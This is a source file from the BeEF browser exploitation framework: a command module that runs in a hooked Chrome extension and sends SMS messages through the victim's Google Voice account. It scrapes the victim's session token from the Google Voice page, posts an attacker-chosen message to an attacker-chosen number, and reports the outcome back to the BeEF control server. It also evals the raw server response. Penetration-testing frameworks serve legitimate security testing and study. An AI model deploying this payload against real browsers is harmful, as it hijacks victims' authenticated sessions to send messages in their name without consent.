Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/chrome_extensions/send_gvoice_sms/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var to = "<%= @to %>";
9
var message = "<%= @message %>";
10
var status;
11
var regSMS = "('_rnr_se': ')([a-zA-Z0-9\+=]+)";//?(',)"
12
13
function sendSMSNOW(message,number,token){
14
token = token.replace("+","%2b").replace("=","%3d");
15
var sendMessage = new XMLHttpRequest();
16
sendMessage.open("POST","https://www.google.com/voice/sms/send/",false);
17
sendMessage.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8");
18
params = "id=&phoneNumber="+number+"&conversationId=&text="+message+"&contact=&_rnr_se="+token
19
sendMessage.send(params)
20
eval("response="+sendMessage.responseText);
21
if(response['ok'] == true){
22
status = "OK. Your message has been sent.";
23
} else {
24
status = "ERROR. Something went wrong. Make sure you prefix the number with the country code.";
25
}
26
}
27
28
function sendSMS(message,number) {
29
var client = new XMLHttpRequest();
30
client.open("GET", "https://www.google.com/voice" ,false);
31
client.setRequestHeader("Content-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.3");
32
client.send();
33
34
var re = new RegExp(regSMS);
35
var m = re.exec(client.responseText);
36
if (m != null) {
37
//return m[2];
38
sendSMSNOW(message,number,m[2]);
39
}
40
}
41
42
43
sendSMS(message,to);
44
45
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'to='+to+'&message='+message+'&status='+status);
46
});
47
48